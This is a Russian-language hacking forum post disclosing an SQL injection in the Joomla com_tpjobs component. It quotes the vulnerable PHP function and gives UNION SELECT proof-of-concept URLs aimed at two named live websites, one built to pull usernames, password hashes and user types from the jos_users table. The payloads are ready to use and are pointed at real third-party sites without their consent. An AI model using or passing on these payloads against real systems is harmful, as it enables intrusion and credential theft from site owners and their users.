|
Познающий
Регистрация: 10.04.2010
Сообщений: 49
С нами:
8467184
Репутация:
1
|
|
SQL-Inj in Joomla com_tpjobs
Доброго времени суток, уважаемые форумчане.
В данном компоненте уже находили BSQL-Inj
(http://www.exploit-db.com/exploits/10950)
Но есть и по проще варианты)
Например:
уязвимость в параметре id, при task=detailjob
Код:
Код:
//detailJob
function detailJob($option){
global $mainframe;
$user =& JFactory::getUser();
$id = JRequest::getVar('id', 0, 'get', 'string');
if(empty($id))
{
$return = JRoute::_('index.php?option=com_tpjobs');
$mainframe->redirect( $return );
}
$db = & JFactory::getDBO();
$query = "select a.*,comp_name,degree_level,pos_type,type_salary,g.country,i.industry,e.exp_name from #__tpjobs_job a".
" LEFT JOIN #__tpjobs_degree_level b ON a.id_degree_level = b.id".
" LEFT JOIN #__tpjobs_pos_type c ON a.id_pos_type = c.id".
" LEFT JOIN #__tpjobs_type_salary d ON a.id_salary_type = d.id".
" LEFT JOIN #__tpjobs_job_exp e ON a.id_job_exp = e.id".
" LEFT JOIN #__tpjobs_job_spec f ON a.id_job_spec = f.id".
" LEFT JOIN #__tpjobs_country g ON a.id_country = g.id".
" LEFT JOIN #__tpjobs_employer h ON a.employer_id = h.user_id".
" LEFT JOIN #__tpjobs_industry i ON h.id_industry = i.id".
" where a.id = ".$id;
$db->setQuery( $query);
$data = $db->loadObjectList();
if(!count($data))
{
$return = JRoute::_('index.php?option=com_tpjobs');
$mainframe->redirect( $return );
}
HTML_front_tpjobs::detailJob($data,$option);
}
В итоге нам нужно только подобрать кол-во колонок через order+by (за частую ~20-30)
POC:
http://bankihr.by/index.php?option=com_tpjobs&task=detailjob&id=1+un ion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 17,18,19,20,21,22,23,24,25,26,27,28,29,30--
http://www.ingenjorstorget.se/index.php?option=com_tpjobs&task=detailjob&id=9999 99999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,1 3,group_concat%28username,0x3a,password,0x3a,usert ype%29,15,16,17,18,19,20,21,22,23,24,25+from+jos_u sers--
|